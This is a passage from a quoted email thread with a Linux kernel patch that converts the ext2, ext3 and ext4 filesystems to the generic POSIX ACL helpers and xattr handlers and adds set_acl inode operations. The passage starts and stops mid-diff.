> > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - > > - acl = ext2_get_acl(dentry->d_inode, type); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - if (acl == NULL) > > - return -ENODATA; > > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > > - posix_acl_release(acl); > > - > > - return error; > > -} > > - > > -static int > > -ext2_xattr_set_acl(struct dentry *dentry, const char *name, const void > *value, > > - size_t size, int flags, int type) > > -{ > > - struct posix_acl *acl; > > - int error; > > - > > - if (strcmp(name, "") != 0) > > - return -EINVAL; > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - if (!inode_owner_or_capable(dentry->d_inode)) > > - return -EPERM; > > - > > - if (value) { > > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - else if (acl) { > > - error = posix_acl_valid(acl); > > - if (error) > > - goto release_and_out; > > - } > > - } else > > - acl = NULL; > > - > > - error = ext2_set_acl(dentry->d_inode, type, acl); > > - > > -release_and_out: > > - posix_acl_release(acl); > > + if (default_acl) { > > + error = ext2_set_acl(inode, default_acl, ACL_TYPE_DEFAULT); > > + posix_acl_release(default_acl); > > + } > > + if (acl) { > > + if (!error) > > + error = ext2_set_acl(inode, acl, ACL_TYPE_ACCESS); > > + posix_acl_release(acl); > > + } > > return error; > > } > > - > > -const struct xattr_handler ext2_xattr_acl_access_handler = { > > - .prefix = POSIX_ACL_XATTR_ACCESS, > > - .flags = ACL_TYPE_ACCESS, > > - .list = ext2_xattr_list_acl_access, > > - .get = ext2_xattr_get_acl, > > - .set = ext2_xattr_set_acl, > > -}; > > - > > -const struct xattr_handler ext2_xattr_acl_default_handler = { > > - .prefix = POSIX_ACL_XATTR_DEFAULT, > > - .flags = ACL_TYPE_DEFAULT, > > - .list = ext2_xattr_list_acl_default, > > - .get = ext2_xattr_get_acl, > > - .set = ext2_xattr_set_acl, > > -}; > > diff --git a/fs/ext2/acl.h b/fs/ext2/acl.h > > index 503bfb0..44937f9 100644 > > --- a/fs/ext2/acl.h > > +++ b/fs/ext2/acl.h > > @@ -55,7 +55,7 @@ static inline int ext2_acl_count(size_t size) > > > > /* acl.c */ > > extern struct posix_acl *ext2_get_acl(struct inode *inode, int type); > > -extern int ext2_acl_chmod (struct inode *); > > +extern int ext2_set_acl(struct inode *inode, struct posix_acl *acl, int > type); > > extern int ext2_init_acl (struct inode *, struct inode *); > > > > #else > > @@ -63,12 +63,6 @@ extern int ext2_init_acl (struct inode *, struct > inode *); > > #define ext2_get_acl NULL > > #define ext2_set_acl NULL > > > > -static inline int > > -ext2_acl_chmod (struct inode *inode) > > -{ > > - return 0; > > -} > > - > > static inline int ext2_init_acl (struct inode *inode, struct inode *dir) > > { > > return 0; > > diff --git a/fs/ext2/file.c b/fs/ext2/file.c > > index a5b3a5d..44c36e5 100644 > > --- a/fs/ext2/file.c > > +++ b/fs/ext2/file.c > > @@ -103,5 +103,6 @@ const struct inode_operations > ext2_file_inode_operations = { > > #endif > > .setattr = ext2_setattr, > > .get_acl = ext2_get_acl, > > + .set_acl = ext2_set_acl, > > .fiemap = ext2_fiemap, > > }; > > diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c > > index 8a33764..1be8866 100644 > > --- a/fs/ext2/inode.c > > +++ b/fs/ext2/inode.c > > @@ -1566,7 +1566,7 @@ int ext2_setattr(struct dentry *dentry, struct > iattr *iattr) > > } > > setattr_copy(inode, iattr); > > if (iattr->ia_valid & ATTR_MODE) > > - error = ext2_acl_chmod(inode); > > + error = posix_acl_chmod(inode); > > mark_inode_dirty(inode); > > > > return error; > > diff --git a/fs/ext2/namei.c b/fs/ext2/namei.c > > index 256dd5f..c268d0a 100644 > > --- a/fs/ext2/namei.c > > +++ b/fs/ext2/namei.c > > @@ -421,6 +421,7 @@ const struct inode_operations > ext2_dir_inode_operations = { > > #endif > > .setattr = ext2_setattr, > > .get_acl = ext2_get_acl, > > + .set_acl = ext2_set_acl, > > .tmpfile = ext2_tmpfile, > > }; > > > > @@ -433,4 +434,5 @@ const struct inode_operations > ext2_special_inode_operations = { > > #endif > > .setattr = ext2_setattr, > > .get_acl = ext2_get_acl, > > + .set_acl = ext2_set_acl, > > }; > > diff --git a/fs/ext2/xattr.c b/fs/ext2/xattr.c > > index 2d7557d..9142614 100644 > > --- a/fs/ext2/xattr.c > > +++ b/fs/ext2/xattr.c > > @@ -103,8 +103,8 @@ static struct mb_cache *ext2_xattr_cache; > > static const struct xattr_handler *ext2_xattr_handler_map[] = { > > [EXT2_XATTR_INDEX_USER] = &ext2_xattr_user_handler, > > #ifdef CONFIG_EXT2_FS_POSIX_ACL > > - [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = > &ext2_xattr_acl_access_handler, > > - [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &ext2_xattr_acl_default_handler, > > + [EXT2_XATTR_INDEX_POSIX_ACL_ACCESS] = > &posix_acl_access_xattr_handler, > > + [EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &posix_acl_default_xattr_handler, > > #endif > > [EXT2_XATTR_INDEX_TRUSTED] = &ext2_xattr_trusted_handler, > > #ifdef CONFIG_EXT2_FS_SECURITY > > @@ -116,8 +116,8 @@ const struct xattr_handler *ext2_xattr_handlers[] = { > > &ext2_xattr_user_handler, > > &ext2_xattr_trusted_handler, > > #ifdef CONFIG_EXT2_FS_POSIX_ACL > > - &ext2_xattr_acl_access_handler, > > - &ext2_xattr_acl_default_handler, > > + &posix_acl_access_xattr_handler, > > + &posix_acl_default_xattr_handler, > > #endif > > #ifdef CONFIG_EXT2_FS_SECURITY > > &ext2_xattr_security_handler, > > diff --git a/fs/ext2/xattr.h b/fs/ext2/xattr.h > > index 5e41ccc..60edf29 100644 > > --- a/fs/ext2/xattr.h > > +++ b/fs/ext2/xattr.h > > @@ -57,8 +57,6 @@ struct ext2_xattr_entry { > > > > extern const struct xattr_handler ext2_xattr_user_handler; > > extern const struct xattr_handler ext2_xattr_trusted_handler; > > -extern const struct xattr_handler ext2_xattr_acl_access_handler; > > -extern const struct xattr_handler ext2_xattr_acl_default_handler; > > extern const struct xattr_handler ext2_xattr_security_handler; > > > > extern ssize_t ext2_listxattr(struct dentry *, char *, size_t); > > diff --git a/fs/ext3/acl.c b/fs/ext3/acl.c > > index 4f3d8fa..e9cb33f 100644 > > --- a/fs/ext3/acl.c > > +++ b/fs/ext3/acl.c > > @@ -190,7 +190,7 @@ ext3_get_acl(struct inode *inode, int type) > > * inode->i_mutex: down unless called from ext3_new_inode > > */ > > static int > > -ext3_set_acl(handle_t *handle, struct inode *inode, int type, > > +__ext3_set_acl(handle_t *handle, struct inode *inode, int type, > > struct posix_acl *acl) > > { > > int name_index; > > @@ -243,204 +243,49 @@ ext3_set_acl(handle_t *handle, struct inode > *inode, int type, > > return error; > > } > > > > -/* > > - * Initialize the ACLs of a new inode. Called from ext3_new_inode. > > - * > > - * dir->i_mutex: down > > - * inode->i_mutex: up (access to inode is still exclusive) > > - */ > > -int > > -ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > -{ > > - struct posix_acl *acl = NULL; > > - int error = 0; > > - > > - if (!S_ISLNK(inode->i_mode)) { > > - if (test_opt(dir->i_sb, POSIX_ACL)) { > > - acl = ext3_get_acl(dir, ACL_TYPE_DEFAULT); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - } > > - if (!acl) > > - inode->i_mode &= ~current_umask(); > > - } > > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > > - if (S_ISDIR(inode->i_mode)) { > > - error = ext3_set_acl(handle, inode, > > - ACL_TYPE_DEFAULT, acl); > > - if (error) > > - goto cleanup; > > - } > > - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > > - if (error < 0) > > - return error; > > - > > - if (error > 0) { > > - /* This is an extended ACL */ > > - error = ext3_set_acl(handle, inode, > ACL_TYPE_ACCESS, acl); > > - } > > - } > > -cleanup: > > - posix_acl_release(acl); > > - return error; > > -} > > - > > -/* > > - * Does chmod for an inode that may have an Access Control List. The > > - * inode->i_mode field must be updated to the desired value by the > caller > > - * before calling this function. > > - * Returns 0 on success, or a negative error number. > > - * > > - * We change the ACL rather than storing some ACL entries in the file > > - * mode permission bits (which would be more efficient), because that > > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > > - * for directories) are added. There are no more bits available in the > > - * file mode. > > - * > > - * inode->i_mutex: down > > - */ > > int > > -ext3_acl_chmod(struct inode *inode) > > +ext3_set_acl(struct inode *inode, struct posix_acl *acl, int type) > > { > > - struct posix_acl *acl; > > handle_t *handle; > > - int retries = 0; > > - int error; > > + int error, retries = 0; > > > > - if (S_ISLNK(inode->i_mode)) > > - return -EOPNOTSUPP; > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > > - return 0; > > - acl = ext3_get_acl(inode, ACL_TYPE_ACCESS); > > - if (IS_ERR(acl) || !acl) > > - return PTR_ERR(acl); > > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > > - if (error) > > - return error; > > retry: > > - handle = ext3_journal_start(inode, > > - EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > > - if (IS_ERR(handle)) { > > - error = PTR_ERR(handle); > > - ext3_std_error(inode->i_sb, error); > > - goto out; > > - } > > - error = ext3_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > > + handle = ext3_journal_start(inode, > EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > > + if (IS_ERR(handle)) > > + return PTR_ERR(handle); > > + error = __ext3_set_acl(handle, inode, type, acl); > > ext3_journal_stop(handle); > > - if (error == -ENOSPC && > > - ext3_should_retry_alloc(inode->i_sb, &retries)) > > + if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, > &retries)) > > goto retry; > > -out: > > - posix_acl_release(acl); > > return error; > > } > > > > /* > > - * Extended attribute handlers > > + * Initialize the ACLs of a new inode. Called from ext3_new_inode. > > + * > > + * dir->i_mutex: down > > + * inode->i_mutex: up (access to inode is still exclusive) > > */ > > -static size_t > > -ext3_xattr_list_acl_access(struct dentry *dentry, char *list, size_t > list_len, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_len) > > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > > - return size; > > -} > > - > > -static size_t > > -ext3_xattr_list_acl_default(struct dentry *dentry, char *list, size_t > list_len, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_len) > > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > > - return size; > > -} > > - > > -static int > > -ext3_xattr_get_acl(struct dentry *dentry, const char *name, void > *buffer, > > - size_t size, int type) > > +int > > +ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > { > > - struct posix_acl *acl; > > + struct posix_acl *default_acl, *acl; > > int error; > > > > - if (strcmp(name, "") != 0) > > - return -EINVAL; > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - > > - acl = ext3_get_acl(dentry->d_inode, type); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - if (acl == NULL) > > - return -ENODATA; > > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > > - posix_acl_release(acl); > > - > > - return error; > > -} > > - > > -static int > > -ext3_xattr_set_acl(struct dentry *dentry, const char *name, const void > *value, > > - size_t size, int flags, int type) > > -{ > > - struct inode *inode = dentry->d_inode; > > - handle_t *handle; > > - struct posix_acl *acl; > > - int error, retries = 0; > > - > > - if (strcmp(name, "") != 0) > > - return -EINVAL; > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - if (!inode_owner_or_capable(inode)) > > - return -EPERM; > > - > > - if (value) { > > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - else if (acl) { > > - error = posix_acl_valid(acl); > > - if (error) > > - goto release_and_out; > > - } > > - } else > > - acl = NULL; > > - > > -retry: > > - handle = ext3_journal_start(inode, > EXT3_DATA_TRANS_BLOCKS(inode->i_sb)); > > - if (IS_ERR(handle)) > > - return PTR_ERR(handle); > > - error = ext3_set_acl(handle, inode, type, acl); > > - ext3_journal_stop(handle); > > - if (error == -ENOSPC && ext3_should_retry_alloc(inode->i_sb, > &retries)) > > - goto retry; > > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > > + if (error) > > + return error; > > > > -release_and_out: > > - posix_acl_release(acl); > > + if (default_acl) { > > + error = __ext3_set_acl(handle, inode, ACL_TYPE_DEFAULT, > > + default_acl); > > + posix_acl_release(default_acl); > > + } > > + if (acl) { > > + if (!error) > > + error = __ext3_set_acl(handle, inode, > ACL_TYPE_ACCESS, > > + acl); > > + posix_acl_release(acl); > > + } > > return error; > > } > > - > > -const struct xattr_handler ext3_xattr_acl_access_handler = { > > - .prefix = POSIX_ACL_XATTR_ACCESS, > > - .flags = ACL_TYPE_ACCESS, > > - .list = ext3_xattr_list_acl_access, > > - .get = ext3_xattr_get_acl, > > - .set = ext3_xattr_set_acl, > > -}; > > - > > -const struct xattr_handler ext3_xattr_acl_default_handler = { > > - .prefix = POSIX_ACL_XATTR_DEFAULT, > > - .flags = ACL_TYPE_DEFAULT, > > - .list = ext3_xattr_list_acl_default, > > - .get = ext3_xattr_get_acl, > > - .set = ext3_xattr_set_acl, > > -}; > > diff --git a/fs/ext3/acl.h b/fs/ext3/acl.h > > index dbc921e..ea1c69e 100644 > > --- a/fs/ext3/acl.h > > +++ b/fs/ext3/acl.h > > @@ -55,18 +55,13 @@ static inline int ext3_acl_count(size_t size) > > > > /* acl.c */ > > extern struct posix_acl *ext3_get_acl(struct inode *inode, int type); > > -extern int ext3_acl_chmod (struct inode *); > > +extern int ext3_set_acl(struct inode *inode, struct posix_acl *acl, int > type); > > extern int ext3_init_acl (handle_t *, struct inode *, struct inode *); > > > > #else /* CONFIG_EXT3_FS_POSIX_ACL */ > > #include > > #define ext3_get_acl NULL > > - > > -static inline int > > -ext3_acl_chmod(struct inode *inode) > > -{ > > - return 0; > > -} > > +#define ext3_set_acl NULL > > > > static inline int > > ext3_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > diff --git a/fs/ext3/file.c b/fs/ext3/file.c > > index 25cb413..aad0531 100644 > > --- a/fs/ext3/file.c > > +++ b/fs/ext3/file.c > > @@ -75,6 +75,7 @@ const struct inode_operations > ext3_file_inode_operations = { > > .removexattr = generic_removexattr, > > #endif > > .get_acl = ext3_get_acl, > > + .set_acl = ext3_set_acl, > > .fiemap = ext3_fiemap, > > }; > > > > diff --git a/fs/ext3/inode.c b/fs/ext3/inode.c > > index 2bd8548..150b6c1 100644 > > --- a/fs/ext3/inode.c > > +++ b/fs/ext3/inode.c > > @@ -3365,7 +3365,7 @@ int ext3_setattr(struct dentry *dentry, struct > iattr *attr) > > mark_inode_dirty(inode); > > > > if (ia_valid & ATTR_MODE) > > - rc = ext3_acl_chmod(inode); > > + rc = posix_acl_chmod(inode); > > > > err_out: > > ext3_std_error(inode->i_sb, error); > > diff --git a/fs/ext3/namei.c b/fs/ext3/namei.c > > index f8cde46..f197736 100644 > > --- a/fs/ext3/namei.c > > +++ b/fs/ext3/namei.c > > @@ -2569,6 +2569,7 @@ const struct inode_operations > ext3_dir_inode_operations = { > > .removexattr = generic_removexattr, > > #endif > > .get_acl = ext3_get_acl, > > + .set_acl = ext3_set_acl, > > }; > > > > const struct inode_operations ext3_special_inode_operations = { > > @@ -2580,4 +2581,5 @@ const struct inode_operations > ext3_special_inode_operations = { > > .removexattr = generic_removexattr, > > #endif > > .get_acl = ext3_get_acl, > > + .set_acl = ext3_set_acl, > > }; > > diff --git a/fs/ext3/xattr.c b/fs/ext3/xattr.c > > index b1fc963..c6874be 100644 > > --- a/fs/ext3/xattr.c > > +++ b/fs/ext3/xattr.c > > @@ -102,8 +102,8 @@ static struct mb_cache *ext3_xattr_cache; > > static const struct xattr_handler *ext3_xattr_handler_map[] = { > > [EXT3_XATTR_INDEX_USER] = &ext3_xattr_user_handler, > > #ifdef CONFIG_EXT3_FS_POSIX_ACL > > - [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = > &ext3_xattr_acl_access_handler, > > - [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &ext3_xattr_acl_default_handler, > > + [EXT3_XATTR_INDEX_POSIX_ACL_ACCESS] = > &posix_acl_access_xattr_handler, > > + [EXT3_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &posix_acl_default_xattr_handler, > > #endif > > [EXT3_XATTR_INDEX_TRUSTED] = &ext3_xattr_trusted_handler, > > #ifdef CONFIG_EXT3_FS_SECURITY > > @@ -115,8 +115,8 @@ const struct xattr_handler *ext3_xattr_handlers[] = { > > &ext3_xattr_user_handler, > > &ext3_xattr_trusted_handler, > > #ifdef CONFIG_EXT3_FS_POSIX_ACL > > - &ext3_xattr_acl_access_handler, > > - &ext3_xattr_acl_default_handler, > > + &posix_acl_access_xattr_handler, > > + &posix_acl_default_xattr_handler, > > #endif > > #ifdef CONFIG_EXT3_FS_SECURITY > > &ext3_xattr_security_handler, > > diff --git a/fs/ext3/xattr.h b/fs/ext3/xattr.h > > index 2be4f69..32e93eb 100644 > > --- a/fs/ext3/xattr.h > > +++ b/fs/ext3/xattr.h > > @@ -60,8 +60,6 @@ struct ext3_xattr_entry { > > > > extern const struct xattr_handler ext3_xattr_user_handler; > > extern const struct xattr_handler ext3_xattr_trusted_handler; > > -extern const struct xattr_handler ext3_xattr_acl_access_handler; > > -extern const struct xattr_handler ext3_xattr_acl_default_handler; > > extern const struct xattr_handler ext3_xattr_security_handler; > > > > extern ssize_t ext3_listxattr(struct dentry *, char *, size_t); > > diff --git a/fs/ext4/acl.c b/fs/ext4/acl.c > > index f827f3b..acaba0f 100644 > > --- a/fs/ext4/acl.c > > +++ b/fs/ext4/acl.c > > @@ -196,7 +196,7 @@ ext4_get_acl(struct inode *inode, int type) > > * inode->i_mutex: down unless called from ext4_new_inode > > */ > > static int > > -ext4_set_acl(handle_t *handle, struct inode *inode, int type, > > +__ext4_set_acl(handle_t *handle, struct inode *inode, int type, > > struct posix_acl *acl) > > { > > int name_index; > > @@ -248,208 +248,51 @@ ext4_set_acl(handle_t *handle, struct inode > *inode, int type, > > return error; > > } > > > > -/* > > - * Initialize the ACLs of a new inode. Called from ext4_new_inode. > > - * > > - * dir->i_mutex: down > > - * inode->i_mutex: up (access to inode is still exclusive) > > - */ > > -int > > -ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > -{ > > - struct posix_acl *acl = NULL; > > - int error = 0; > > - > > - if (!S_ISLNK(inode->i_mode)) { > > - if (test_opt(dir->i_sb, POSIX_ACL)) { > > - acl = ext4_get_acl(dir, ACL_TYPE_DEFAULT); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - } > > - if (!acl) > > - inode->i_mode &= ~current_umask(); > > - } > > - if (test_opt(inode->i_sb, POSIX_ACL) && acl) { > > - if (S_ISDIR(inode->i_mode)) { > > - error = ext4_set_acl(handle, inode, > > - ACL_TYPE_DEFAULT, acl); > > - if (error) > > - goto cleanup; > > - } > > - error = __posix_acl_create(&acl, GFP_NOFS, &inode->i_mode); > > - if (error < 0) > > - return error; > > - > > - if (error > 0) { > > - /* This is an extended ACL */ > > - error = ext4_set_acl(handle, inode, > ACL_TYPE_ACCESS, acl); > > - } > > - } > > -cleanup: > > - posix_acl_release(acl); > > - return error; > > -} > > - > > -/* > > - * Does chmod for an inode that may have an Access Control List. The > > - * inode->i_mode field must be updated to the desired value by the > caller > > - * before calling this function. > > - * Returns 0 on success, or a negative error number. > > - * > > - * We change the ACL rather than storing some ACL entries in the file > > - * mode permission bits (which would be more efficient), because that > > - * would break once additional permissions (like ACL_APPEND, ACL_DELETE > > - * for directories) are added. There are no more bits available in the > > - * file mode. > > - * > > - * inode->i_mutex: down > > - */ > > int > > -ext4_acl_chmod(struct inode *inode) > > +ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type) > > { > > - struct posix_acl *acl; > > handle_t *handle; > > - int retries = 0; > > - int error; > > - > > + int error, retries = 0; > > > > - if (S_ISLNK(inode->i_mode)) > > - return -EOPNOTSUPP; > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > > - return 0; > > - acl = ext4_get_acl(inode, ACL_TYPE_ACCESS); > > - if (IS_ERR(acl) || !acl) > > - return PTR_ERR(acl); > > - error = __posix_acl_chmod(&acl, GFP_KERNEL, inode->i_mode); > > - if (error) > > - return error; > > retry: > > handle = ext4_journal_start(inode, EXT4_HT_XATTR, > > ext4_jbd2_credits_xattr(inode)); > > - if (IS_ERR(handle)) { > > - error = PTR_ERR(handle); > > - ext4_std_error(inode->i_sb, error); > > - goto out; > > - } > > - error = ext4_set_acl(handle, inode, ACL_TYPE_ACCESS, acl); > > + if (IS_ERR(handle)) > > + return PTR_ERR(handle); > > + > > + error = __ext4_set_acl(handle, inode, type, acl); > > ext4_journal_stop(handle); > > - if (error == -ENOSPC && > > - ext4_should_retry_alloc(inode->i_sb, &retries)) > > + if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, > &retries)) > > goto retry; > > -out: > > - posix_acl_release(acl); > > return error; > > } > > > > /* > > - * Extended attribute handlers > > + * Initialize the ACLs of a new inode. Called from ext4_new_inode. > > + * > > + * dir->i_mutex: down > > + * inode->i_mutex: up (access to inode is still exclusive) > > */ > > -static size_t > > -ext4_xattr_list_acl_access(struct dentry *dentry, char *list, size_t > list_len, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_ACCESS); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_len) > > - memcpy(list, POSIX_ACL_XATTR_ACCESS, size); > > - return size; > > -} > > - > > -static size_t > > -ext4_xattr_list_acl_default(struct dentry *dentry, char *list, size_t > list_len, > > - const char *name, size_t name_len, int type) > > -{ > > - const size_t size = sizeof(POSIX_ACL_XATTR_DEFAULT); > > - > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return 0; > > - if (list && size <= list_len) > > - memcpy(list, POSIX_ACL_XATTR_DEFAULT, size); > > - return size; > > -} > > - > > -static int > > -ext4_xattr_get_acl(struct dentry *dentry, const char *name, void > *buffer, > > - size_t size, int type) > > +int > > +ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > { > > - struct posix_acl *acl; > > + struct posix_acl *default_acl, *acl; > > int error; > > > > - if (strcmp(name, "") != 0) > > - return -EINVAL; > > - if (!test_opt(dentry->d_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - > > - acl = ext4_get_acl(dentry->d_inode, type); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - if (acl == NULL) > > - return -ENODATA; > > - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); > > - posix_acl_release(acl); > > - > > - return error; > > -} > > - > > -static int > > -ext4_xattr_set_acl(struct dentry *dentry, const char *name, const void > *value, > > - size_t size, int flags, int type) > > -{ > > - struct inode *inode = dentry->d_inode; > > - handle_t *handle; > > - struct posix_acl *acl; > > - int error, retries = 0; > > - > > - if (strcmp(name, "") != 0) > > - return -EINVAL; > > - if (!test_opt(inode->i_sb, POSIX_ACL)) > > - return -EOPNOTSUPP; > > - if (!inode_owner_or_capable(inode)) > > - return -EPERM; > > - > > - if (value) { > > - acl = posix_acl_from_xattr(&init_user_ns, value, size); > > - if (IS_ERR(acl)) > > - return PTR_ERR(acl); > > - else if (acl) { > > - error = posix_acl_valid(acl); > > - if (error) > > - goto release_and_out; > > - } > > - } else > > - acl = NULL; > > + error = posix_acl_create(dir, &inode->i_mode, &default_acl, &acl); > > + if (error) > > + return error; > > > > -retry: > > - handle = ext4_journal_start(inode, EXT4_HT_XATTR, > > - ext4_jbd2_credits_xattr(inode)); > > - if (IS_ERR(handle)) { > > - error = PTR_ERR(handle); > > - goto release_and_out; > > + if (default_acl) { > > + error = __ext4_set_acl(handle, inode, ACL_TYPE_DEFAULT, > > + default_acl); > > + posix_acl_release(default_acl); > > + } > > + if (acl) { > > + if (!error) > > + error = __ext4_set_acl(handle, inode, > ACL_TYPE_ACCESS, > > + acl); > > + posix_acl_release(acl); > > } > > - error = ext4_set_acl(handle, inode, type, acl); > > - ext4_journal_stop(handle); > > - if (error == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, > &retries)) > > - goto retry; > > - > > -release_and_out: > > - posix_acl_release(acl); > > return error; > > } > > - > > -const struct xattr_handler ext4_xattr_acl_access_handler = { > > - .prefix = POSIX_ACL_XATTR_ACCESS, > > - .flags = ACL_TYPE_ACCESS, > > - .list = ext4_xattr_list_acl_access, > > - .get = ext4_xattr_get_acl, > > - .set = ext4_xattr_set_acl, > > -}; > > - > > -const struct xattr_handler ext4_xattr_acl_default_handler = { > > - .prefix = POSIX_ACL_XATTR_DEFAULT, > > - .flags = ACL_TYPE_DEFAULT, > > - .list = ext4_xattr_list_acl_default, > > - .get = ext4_xattr_get_acl, > > - .set = ext4_xattr_set_acl, > > -}; > > diff --git a/fs/ext4/acl.h b/fs/ext4/acl.h > > index 18cb39e..da2c795 100644 > > --- a/fs/ext4/acl.h > > +++ b/fs/ext4/acl.h > > @@ -55,18 +55,13 @@ static inline int ext4_acl_count(size_t size) > > > > /* acl.c */ > > struct posix_acl *ext4_get_acl(struct inode *inode, int type); > > -extern int ext4_acl_chmod(struct inode *); > > +int ext4_set_acl(struct inode *inode, struct posix_acl *acl, int type); > > extern int ext4_init_acl(handle_t *, struct inode *, struct inode *); > > > > #else /* CONFIG_EXT4_FS_POSIX_ACL */ > > #include > > #define ext4_get_acl NULL > > - > > -static inline int > > -ext4_acl_chmod(struct inode *inode) > > -{ > > - return 0; > > -} > > +#define ext4_set_acl NULL > > > > static inline int > > ext4_init_acl(handle_t *handle, struct inode *inode, struct inode *dir) > > diff --git a/fs/ext4/file.c b/fs/ext4/file.c > > index 3da2194..43e64f6 100644 > > --- a/fs/ext4/file.c > > +++ b/fs/ext4/file.c > > @@ -617,6 +617,7 @@ const struct inode_operations > ext4_file_inode_operations = { > > .listxattr = ext4_listxattr, > > .removexattr = generic_removexattr, > > .get_acl = ext4_get_acl, > > + .set_acl = ext4_set_acl, > > .fiemap = ext4_fiemap, > > }; > > > > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > > index 0757634..6f69f96 100644 > > --- a/fs/ext4/inode.c > > +++ b/fs/ext4/inode.c > > @@ -4675,7 +4675,7 @@ int ext4_setattr(struct dentry *dentry, struct > iattr *attr) > > ext4_orphan_del(NULL, inode); > > > > if (!rc && (ia_valid & ATTR_MODE)) > > - rc = ext4_acl_chmod(inode); > > + rc = posix_acl_chmod(inode); > > > > err_out: > > ext4_std_error(inode->i_sb, error); > > diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c > > index 5a0408d..e77c1ba 100644 > > --- a/fs/ext4/namei.c > > +++ b/fs/ext4/namei.c > > @@ -3225,6 +3225,7 @@ const struct inode_operations > ext4_dir_inode_operations = { > > .listxattr = ext4_listxattr, > > .removexattr = generic_removexattr, > > .get_acl = ext4_get_acl, > > + .set_acl = ext4_set_acl, > > .fiemap = ext4_fiemap, > > }; > > > > @@ -3235,4 +3236,5 @@ const struct inode_operations > ext4_special_inode_operations = { > > .listxattr = ext4_listxattr, > > .removexattr = generic_removexattr, > > .get_acl = ext4_get_acl, > > + .set_acl = ext4_set_acl, > > }; > > diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c > > index 1423c48..e175e94 100644 > > --- a/fs/ext4/xattr.c > > +++ b/fs/ext4/xattr.c > > @@ -95,8 +95,8 @@ static struct mb_cache *ext4_xattr_cache; > > static const struct xattr_handler *ext4_xattr_handler_map[] = { > > [EXT4_XATTR_INDEX_USER] = &ext4_xattr_user_handler, > > #ifdef CONFIG_EXT4_FS_POSIX_ACL > > - [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = > &ext4_xattr_acl_access_handler, > > - [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &ext4_xattr_acl_default_handler, > > + [EXT4_XATTR_INDEX_POSIX_ACL_ACCESS] = > &posix_acl_access_xattr_handler, > > + [EXT4_XATTR_INDEX_POSIX_ACL_DEFAULT] = > &posix_acl_default_xattr_handler, > > #endif > > [EXT4_XATTR_INDEX_TRUSTED] = &ext4_xattr_trusted_handler, > > #ifdef CONFIG_EXT4_FS_SECURITY > > @@ -108,8 +108,8 @@ const struct xattr_handler *ext4_xattr_handlers[] = { > > &ext4_xattr_user_handler, > > &ext4_xattr_trusted_handler, > > #ifdef CONFIG_EXT4_FS_POSIX_ACL > > - &ext4_xattr_acl_access_handler, > > - &ext4_xattr_acl_default_handler, > > + &posix_acl_access_xattr_handler, > > + &posix_acl_default_xattr_handler, > > #endif > > #ifdef CONFIG_EXT4_FS_SECURITY > > &ext4_xattr_security_handler, > > diff --git a/fs/ext4/xattr.h b/fs/ext4/xattr.h > > index c767dbd..819d639 100644 > > --- a/fs/ext4/xattr.h > > +++ b/fs/ext4/xattr.h > > @@ -96,8 +96,6 @@ struct ext4_xattr_ibody_find { > > > > extern const struct xattr_handler 